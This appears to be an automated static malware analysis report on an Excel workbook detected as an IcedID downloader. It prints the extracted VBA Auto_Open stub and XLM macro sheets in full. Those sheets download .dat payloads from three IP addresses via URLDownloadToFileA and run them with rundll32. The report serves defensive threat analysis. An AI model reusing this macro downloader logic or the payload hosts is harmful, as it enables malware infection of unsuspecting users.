Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fb0d6d808353edce…

MALICIOUS

Office (OOXML)

172.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: 2e7664f8bed49ea4615603f723219c1e SHA-1: 96f01b7f5c68e6cd62b18670345cc7012b89fbf0 SHA-256: fb0d6d808353edce95c9884f389ae87f4e568a43cd92206abda63457590657c7
238 Risk Score

Heuristics 8

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, REGISTER, EXEC, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.150.67.243/44285,5327891204.dat Referenced by macro
    • http://195.123.210.186/44285,5327891204.datReferenced by macro
    • http://91.211.89.28/44285,5327891204.datReferenced by macro
    • http://45.150.67.243/Referenced by macro
    • http://195.123.210.186/Referenced by macro
    • http://91.211.89.28/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 727 bytes
SHA-256: 2f26ac96bba202e05dcf847261e1d1663d430574538bb7b407a117ed8f397467
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Private Sub Auto_Open()
Application.Run Sheets("Brisk").Range("CD5")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: 25ca724fd75501ff785a097b45b6826bb69f8f90f8407e73a57e3b764293091d
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 3810 bytes
SHA-256: ee5687b236838b0c2b9f778810736f77da82d41adf1f4bda0ecde74b95813e64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}"><dimension ref="CC266:CF283"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.33203125" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="79" width="8.33203125" style="1"/><col min="80" max="80" width="8.33203125" style="1" customWidth="1"/><col min="81" max="84" width="8.33203125" style="1" hidden="1" customWidth="1"/><col min="85" max="16384" width="8.33203125" style="1"/></cols><sheetData><row r="266" spans="81:83" x14ac:dyDescent="0.3"><c r="CD266" s="1"><f>NOW()</f><v>44285.532789120371</v></c></row><row r="267" spans="81:83" x14ac:dyDescent="0.3"><c r="CD267" s="1" t="b"><f>NOW()=NOW()=NOW()=FORMULA("URLDownloadToFileA",CE271)</f><v>1</v></c></row><row r="268" spans="81:83" x14ac:dyDescent="0.3"><c r="CC268" s="1" t="str"><f>CONCATENATE(CC274,CD266,CC273)</f><v>http://45.150.67.243/44285,5327891204.dat</v></c></row><row r="269" spans="81:83" x14ac:dyDescent="0.3"><c r="CC269" s="1" t="str"><f>CONCATENATE(CC275,CD266,CC273)</f><v>http://195.123.210.186/44285,5327891204.dat</v></c><c r="CD269" s="1" t="b"><f>NOW()=NOW()=NOW()=REGISTER(CE270,CE271,CE269,CE273,,1,9)</f><v>1</v></c><c r="CE269" s="1" t="s"><v>3</v></c></row><row r="270" spans="81:83" x14ac:dyDescent="0.3"><c r="CC270" s="1" t="str"><f>CONCATENATE(CC276,CD266,CC273)</f><v>http://91.211.89.28/44285,5327891204.dat</v></c><c r="CD270" s="1" t="b"><f>NOW()=NOW()=NOW()=REGISTER(CE270,CE271,CE272,CE273,,1,9)</f><v>1</v></c><c r="CE270" s="1" t="s"><v>0</v></c></row><row r="271" spans="81:83" x14ac:dyDescent="0.3"><c r="CD271" s="1" t="e"><f>NOW()=NOW()=NOW()=Belandes(0,CC268,"..\Hodas.vyur",0,0)</f><v>#NAME?</v></c></row><row r="272" spans="81:83" x14ac:dyDescent="0.3"><c r="CD272" s="1" t="e"><f>NOW()=NOW()=NOW()=Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f><v>#NAME?</v></c><c r="CE272" s="1" t="s"><v>1</v></c></row><row r="273" spans="81:83" x14ac:dyDescent="0.3"><c r="CC273" s="1" t="str"><f>".dat"</f><v>.dat</v></c><c r="CD273" s="1" t="e"><f>NOW()=NOW()=NOW()=Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f><v>#NAME?</v></c><c r="CE273" s="1" t="s"><v>2</v></c></row><row r="274" spans="81:83" x14ac:dyDescent="0.3"><c r="CC274" s="1" t="str"><f>"http://45.150.67.243/"</f><v>http://45.150.67.243/</v></c></row><row r="275" spans="81:83" x14ac:dyDescent="0.3"><c r="CC275" s="1" t="str"><f>"http://195.123.210.186/"</f><v>http://195.123.210.186/</v></c></row><row r="276" spans="81:83" x14ac:dyDescent="0.3"><c r="CC276" s="1" t="str"><f>"http://91.211.89.28/"</f><v>http://91.211.89.28/</v></c></row><row r="280" spans="81:83" x14ac:dyDescent="0.3"><c r="CD280" s="1" t="b"><f>NOW()=NOW()=NOW()=EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",PluginInit")</f><v>1</v></c></row><row r="283" spans="81:83" x14ac:dyDescent="0.3"><c r="CD283" s="1" t="e"><f>GOTO(Jo!E4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1511 bytes
SHA-256: de9a94a6a839b1468572aebbbe877009c458e067a032a9d5fb0d49f065cce601
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{627EEF39-4B44-4490-9264-EA5BF8C1B6B9}"><dimension ref="E6:E8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.6640625" style="1"/></cols><sheetData><row r="6" spans="5:5" x14ac:dyDescent="0.3"><c r="E6" s="1" t="b"><f>EXEC("rundll32 "&amp;"..\Hodas.vyur1"&amp;",PluginInit")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.3"><c r="E8" s="1" t="e"><f>GOTO(Hi!D4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1506 bytes
SHA-256: 7bc55721481c93f5e2dea31cdb217e35fe6802807e720b778603a24c7aa4ca5a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72067F03-3C2F-409F-9206-0552CD863068}"><dimension ref="D6:D11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.5546875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.5546875" style="1"/></cols><sheetData><row r="6" spans="4:4" x14ac:dyDescent="0.3"><c r="D6" s="1" t="b"><f>EXEC("rundll32 "&amp;"..\Hodas.vyur2"&amp;",PluginInit")</f><v>0</v></c></row><row r="11" spans="4:4" x14ac:dyDescent="0.3"><c r="D11" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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